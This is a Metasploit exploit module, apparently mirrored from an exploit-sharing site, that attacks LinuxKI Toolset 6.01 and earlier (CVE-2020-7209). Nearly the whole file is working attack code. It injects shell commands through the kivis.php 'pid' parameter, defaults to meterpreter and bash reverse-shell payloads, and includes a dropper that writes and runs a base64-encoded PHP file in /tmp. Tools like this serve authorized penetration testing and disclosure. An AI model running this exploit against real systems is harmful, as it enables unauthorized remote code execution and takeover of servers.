Share
## https://sploitus.com/exploit?id=0DAYDB:5CE7488E1C33E6769447C6AD4269DC91
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
        update_info(
          info,
          'Name' => 'LinuxKI Toolset 6.01 Remote Command Execution',
          'Description' => %q{
            This module exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
            The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.
          },
          'License' => MSF_LICENSE,
          'Author' =>
              [
                'Cody Winkler', # discovery and poc
                'numan türle' # msf exploit
              ],
          'References' =>
              [
                ['EDB', '48483'],
                ['CVE', '2020-7209'],
                ['PACKETSTORM', '157739'],
                ['URL', 'https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78']
              ],
          'Privileged' => false,
          'Platform' => ['php', 'unix', 'linux'],
          'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
          'Targets' =>
              [
                [
                  'Automatic (PHP In-Memory)',
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php_memory,
                  'Payload' => { 'BadChars' => "'" },
                  'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
                ],
                [
                  'Automatic (PHP Dropper)',
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php_dropper,
                  'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
                ],
                [
                  'Automatic (Unix In-Memory)',
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_memory,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                ],
                [
                  'Automatic (Linux Dropper)',
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :linux_dropper,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
                ]
              ],
          'DisclosureDate' => 'May 17 2020',
          'DefaultTarget' => 0
        )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
    ])
    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
    ])
  end

  def check
    findstr = rand_str
    res = execute_command("echo '#{findstr}'")
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if (res.code == 404) || (res.code == 403)
    if (res.code == 200) && res.body.include?(findstr)
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'linuxki/experimental/vis/', 'kivis.php'),
      'vars_get' => {
        'type' => 'kitrace',
        'pid' => "1;#{cmd};"
      }
    })
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

  def exploit
    unless datastore['ForceExploit']
      if check == CheckCode::Safe
        fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
      end
    end

    print_status("Executing #{target.name} target")

    print_status('Sending payload...')

    case target['Type']
    when :php_memory
      execute_command("php -r '#{payload.encoded}'")
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(linemax: 1_500)
    when :php_dropper
      dropper
    end

  end

  def dropper
    php_file = "#{rand_str}.php"
    tmp_file = Pathname.new(
      "#{datastore['WritableDir']}/#{php_file}"
    ).cleanpath

    dropper = get_write_exec_payload(
      writable_path: datastore['WritableDir'],
      unlink_self: true # Worth a shot
    )

    dropper = Rex::Text.encode_base64(dropper)

    register_file_for_cleanup(tmp_file)

    execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
    execute_command("php #{tmp_file}")
  end

  def rand_str
    Rex::Text.rand_text_alphanumeric(8..42)
  end
end